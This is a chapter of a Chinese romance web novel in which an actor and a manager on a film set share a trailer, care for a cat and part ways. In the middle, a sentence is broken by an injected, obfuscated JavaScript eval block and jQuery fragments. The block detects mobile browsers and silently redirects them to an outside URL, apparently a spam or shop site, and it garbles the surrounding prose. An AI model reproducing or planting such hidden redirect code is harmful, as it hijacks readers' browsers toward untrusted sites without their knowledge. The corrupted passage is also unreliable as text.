这下轮到姚今沉默了。


    三分钟后，两人在贺天叙的房车前停下步子。


    “下午这场戏估计还有半个小时就开拍了。你要不先在我这休息会？”贺天叙唇角抿得平直。


    刚打开车门，小小就等在门口，跟姚今和贺天叙两人大眼瞪小眼。


    小小喵了一声，作势往姚今怀里跳去。


    姚今伸手抱住小小，侧头朝贺天叙笑：“行啊，那我就不客气了。”说着，她上车找了个位置坐下。


    贺天叙从冰箱里拿出瓶椰汁，拉开易拉罐环，插上吸管，递给姚今。紧接着，他又转身在柜子里翻出装满零食的小筐，放在姚今面前的桌子上。


    姚今喝一口椰汁，摸着小小，突然问：“你今天喂小小了吗？”


    “喂了。”


    贺天叙注视着正逗猫玩的姚今，心里冒出个念头。


    他故作不经意地提出：“明天下午的戏也很早开拍。要不……你明天中午也来我这，我们一起喂猫？”


    这话说出来，贺天叙都差点咬到自己舌头。他颇为心虚，觉得自己这点小心思也太明显了。


    喂猫哪里还需要两个人一起……


    但姚今没有多说，反而抬头朝他笑了笑，欣喜地答应了。


    室内很安静，只有小小发出几声猫叫。


    暑热被隔在车外，可车内的冷气仍无法令贺天叙躁动的心静下来。


    贺天叙凝视着姚今，脑海里却反反复复地浮现刚刚对方应对那些人八卦时的神情和言语。


    他想问个清楚，却又深刻地记得姚今亲口说的那句“都是些伤心事”。


    贺天叙不知道那个男友都对姚今干了什么。不过，他敢肯定不是什么好事，不然姚今也不会说都是伤心事。


    姚今不想旧事重提，贺天叙自然也不敢越雷池半步。


    姚今却主动提起：“其实那些人也没有什么恶意，本来当时大家就是在互相分享八卦而已。只是我不习惯把自己的私人生活当作谈资……”


    “我会不会太扫兴了？”


    姚今语气闷闷的，落入贺天叙耳中，惹得他心慌不已。


    贺天叙暗自在心里把姚今的男友痛骂了千遍万遍，觉得都怪这个不能公开恋情的圈内男友，才让姚今难做。


    而现在，姚今还要为了这事，觉得自己扫了别人的兴。


    这是什么道理？


    贺天叙一把握紧姚今细白的手腕，赶紧柔声细语地安慰：“怎么会呢，不想跟别人分享自己的私事很正常啊！我也这样！”


    “而且，本来你跟他们也不是非常熟，只是短暂地在剧组里待一段时间而已。”


    “也许在刚刚那种很多人都说出自己情史的场合里，可能给你造成一种你也得分享、拿出来交换的感觉。但本来也没有人明确规定，听了别人的事，就得说出自己的。”


    贺天叙拆了块巧克力递给姚今：“别有心理负担。你的舒适感才是最重要的！吃个甜的，缓和一下心情。”


    姚今抬手接过巧克力。垂下眼眸时，目光落在自己被攥紧的手腕上。


    贺天叙顺着姚今的视线看去，像是被烫到般猛地缩回手。


    姚今的皮肤很白，轻轻一捏就显出道红痕，更别提刚刚被贺天叙握着那么久。此刻，指痕已然留于腕上。


    绯红从贺天叙的脸颊蔓延到耳尖。他面露惊惶，仿佛闯下弥天大祸。


    贺天叙“蹭”一下站起身，慌慌张张地想去给姚今拿医药箱，被对方拦下。


    他只好低声说了句抱歉，心虚得一直喝水，快把自己喝成个水桶。


    手臂放在自己胸前，却始终觉得无处可藏。贺天叙索性把手臂放下，垂在身侧。


    手指不安地蜷缩起来，指尖仿佛还余留着刚刚肌肤相触时，姚今的体温。


    贺天叙仍不安，却难免有些食髓知味。


    还想再触碰姚今，哪怕短暂一瞬……


    这次，他会轻轻的。


    *


    拍摄完今天的内容，贺天叙就默默回了酒店。


    他躺在床上，心绪不宁。哪怕把仓鼠玩偶抱在怀里，也觉得心乱。


    贺天叙直接失眠到半夜。


    夜深人静，他难免情绪上头，在朋友圈里发了个酸不拉唧的emo小短句。


    【想要回到过去，哪怕只是那一秒。】


    姚今陪陆灵曼对完台词后就回了自己房间。睡前，她照例批阅各个软件的消息。刚点开朋友圈，姚今就刷到贺天叙新发的这句话。


    什么玩意，莫名其妙说什么呢？


    姚今不懂。


    但出于基本的社交礼貌，她还是点了个赞。


    点完赞的那瞬间，姚今就刷新出贺天叙自己发布的最新一条评论：有感而发。


    这又是什么意思……


    姚今犹豫片刻，还是硬着头皮在贺天叙那条评论的下面回复了句“写得真好，是不是晚上比较有灵感”。


    贺天叙捧着手机，左等右等，等来姚今这么一句。


    他心都碎了，简直欲哭无泪。


    但姚今的话，贺天叙向来是句句有回应。


    贺天叙只好咬牙回了个“是！”。


    回复完姚今后，贺天叙把手机放在床头柜，索性来个眼不见为净。他倒在床上，仿佛全身的力气都被抽干了。搂着仓鼠玩偶，贺天叙把头闷进玩偶里，感觉心酸酸的。


    算了算了……


    贺天叙只好换个角度安慰自己，好歹现在他和姚今的关系比之前已经亲近不少了。


    这何尝不是一种进步呢？


    人不能太贪心！


    贺天叙把自己哄好了，胡思乱想折腾到后半夜，可算是入睡了。


    后面几天拍摄，姚今天天中午都去找贺天叙，一起喂小小进食。


    姚今坦坦荡荡，反倒是贺天叙慌乱。尤其是他每次一看到对方那没有被衣袖包裹的光洁手腕，就不免回想到那天房车上的情景。


    明明他什么也没有干，只是握着姚今的手腕而已。


    虽然力道重了一点……


    还弄出点暧昧的痕迹……


    但贺天叙莫名就是觉得心痒。


    *


    有时候，等陆灵曼拍戏的间隙里，姚今会窝在椅子抱着猫。


    短短两天，全剧组工作人员都知道了这猫的存在。本来之前，贺天叙带着猫的时候十分避人耳目，仅有极个别人偶然得知。


    现在是人尽皆知，谁都想抱来玩玩。


    陆灵曼更是如此。今天她难得收工早，一扭身看见姚今在等她，怀里还抱着猫，兴奋得不得了。她登时飞奔而去。


    刚把猫抱进怀里，陆灵曼就凑上脸去贴贴，嘴里还咪咪咪地叫个不停，浑身洋溢着幸福的泡泡。


    起初，贺天叙还担心自己带猫来剧组会影响到别人，所以一直不是把猫关在酒店房间，就是关在房车上。


    没成想，现在猫猫常驻陆灵曼的房车。那房车已经俨然如同猫咖一般，剧组里的演员、工作人员基本上都被陆灵曼邀请去撸过猫。


    每次有人去撸猫，总带点东西喂给小小。才短短几天，贺天叙眼睁睁看着小小从玩具小卡车变成了玩具大卡车。


    惊叹之余，贺天叙仍觉得不安心，这猫在陆灵曼那，会不会


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695284|188852||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    打扰对方，从而间接影响姚今？


    姚今把猫抱来还给贺天叙，安抚道：“放心吧，陆灵曼精力旺盛得不得了，不会觉得打扰的。她很喜欢小动物，尤其是猫。本来每隔一段时间，她都固定要去猫咖玩的。”


    “去猫咖？”贺天叙奇怪道，“为什么不自己养一只？”


    姚今摸摸贺天叙怀里的猫：“曼曼当然想猫啦！但是平时工作忙，她也没空细心照顾。而且灵曼的母亲对猫毛过敏。”


    “以前她捡流浪猫回家，全都被扔了，后来连摸一下流浪猫都要被母亲责骂很久。骂多了，灵曼也就习惯家里不能出现跟猫相关的东西了。”


    说起这事来，姚今心里不好受：“虽然灵曼的母亲去世很久了，但经年累月而成的习惯很难改变。”


    贺天叙看出姚今心情低落，却不知道该说些什么来安慰，只默默地陪着对方。


    *


    姚今还记得贺天叙只是暂时把猫带在身边照顾一段时间，过几天就会把小小送到他奶奶身边。


    姚今甚至全剧组都习惯了小小的陪伴，未料想到分离的这一天来得这么快。


    翌日清晨。


    贺天叙要暂离剧组，送走小小。


    陆灵曼特地起了个大早，和姚今一起去送别小小。


    刚走出酒店，姚今一眼就看见贺天叙坐在树荫下的长椅。


    贺天叙今天穿得很简单，白色短袖，黑色长裤。可他光是坐着，阳光倾洒，已然是副秾丽油画。


    听见脚步声，他抬头望去，起身走向姚今。金灿灿的光影落满贺天叙周身，勾勒出劲瘦腰身。


    打过招呼后，三人回到树下。


    长椅是石质的，触感稍凉。小小整条瘫在石椅上面，只有长长的猫尾偶尔晃动两下。


    陆灵曼跑过去坐在小小身边。她絮叨两句，抚摸着小小的肚皮。见它舒服得喵喵叫，陆灵曼脸上的笑容越扩越大。


    姚今蹲在石椅旁逗了会猫，起身同贺天叙闲聊两句。


    听见姚今问自己什么时候能回剧组，贺天叙心中狂喜。


    强压下忍不住上扬的嘴角，贺天叙连忙应道：“也许要过两天。还有一些别的工作要处理。”


    姚今点点头，表示自己知道了。


    眼看时间差不多了，姚今出言提醒陆灵曼。陆灵曼恋恋不舍地收手，站回姚今身后。


    贺天叙抱猫上车。


    车窗降下来，姚今朝贺天叙挥挥手：“一路顺风！”


    贺天叙离开后，姚今和陆灵曼也上车，驶往片场，开始拍摄。


    *


    贺天叙不在剧组，也没什么影响。拍摄进度一切如常，众人依旧忙而不乱。


    夜戏收工时已经快凌晨了。


    陆灵曼累得不行，回酒店睡觉。小蔡有点轻微的感冒，也回酒店吃药休息了。


    没人相陪，姚今只好自己一个人去吃夜宵。


    这家火锅店在平台上有很多好评。姚今看了几条带图片的餐后评价，当即决定来品尝。


    即使快凌晨，店里依旧人满为患，气氛热火朝天。姚今跟着服务员找了个位置坐下。


    刚点完菜，先前那个服务员找来，询问能不能拼桌。


    姚今还没说话呢，就听服务员身后那个顾客先出言拒绝了。


    闻言，姚今下意识地蹙眉。


    人声鼎沸，嘈杂不堪。姚今只觉得那道声线有些耳熟，未作他想。


    她抬眼看向服务员时，见服务员身后的人正拉着行李箱打算转身离去。


    两人目光短暂轻触。


    那人顿时停下脚步，姚今坐着挥了挥手。